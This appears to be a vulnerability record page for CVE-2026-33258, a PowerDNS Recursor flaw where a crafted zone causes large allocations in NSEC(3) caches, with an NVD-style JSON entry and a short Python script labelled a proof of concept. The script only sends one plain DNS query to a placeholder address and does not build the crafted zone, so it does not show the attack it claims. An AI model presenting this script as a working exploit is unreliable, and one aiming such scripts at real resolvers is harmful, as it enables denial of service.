CVE-2026-33258

import dns.query import dns.message # Target PowerDNS Recursor IP target_ip = "192.0.2.1" # Malicious domain configured to trigger the issue domain = "crafted.example.com" # Create a query for a non-existent subdomain to trigger NSEC(3) lookup query_name = f"test-nonexistent.{domain}" query = dns.message.make_query(query_name, 'A') try: # Send the query to the target resolver response = dns.query.udp(query, target_ip, timeout=5) print(f"Query sent to {target_ip}, response ID: {response.id}") # The crafted zone response should trigger large cache allocation except Exception as e: print(f"Error during PoC execution: {e}")

{"cve": {"id": "CVE-2026-33258", "sourceIdentifier": "[email protected]", "published": "2026-04-22T10:16:51.460", "lastModified": "2026-04-27T17:03:45.053", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "By publishing and querying a crafted zone an attacker can cause allocation of large entries in the negative and aggressive NSEC(3) caches."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:powerdns:recursor:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.2.0", "versionEndExcluding": "5.2.9", "matchCriteriaId": "EBDA7C62-FAD4-470C-A6FE-4CF19B0BD4AD"}, {"vulnerable": true, "criteria": "cpe:2.3:a:powerdns:recursor:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.3.0", "versionEndExcluding": "5.3.6", "matchCriteriaId": "9F7AC884-348F-47B1-8853-49BFEDBEA9EA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:powerdns:recursor:5.4.0:*:*:*:*:*:*:*", "matchCriteriaId": "4B201BAD-5A74-45E9-91FD-5E950BA18BF3"}]}]}], "references": [{"url": "https://docs.powerdns.com/recursor/security-advisories/powerdns-advisory-powerdns-2026-03.html", "source": "[email protected]", "tags": ["Vendor Advisory", "Broken Link"]}]}}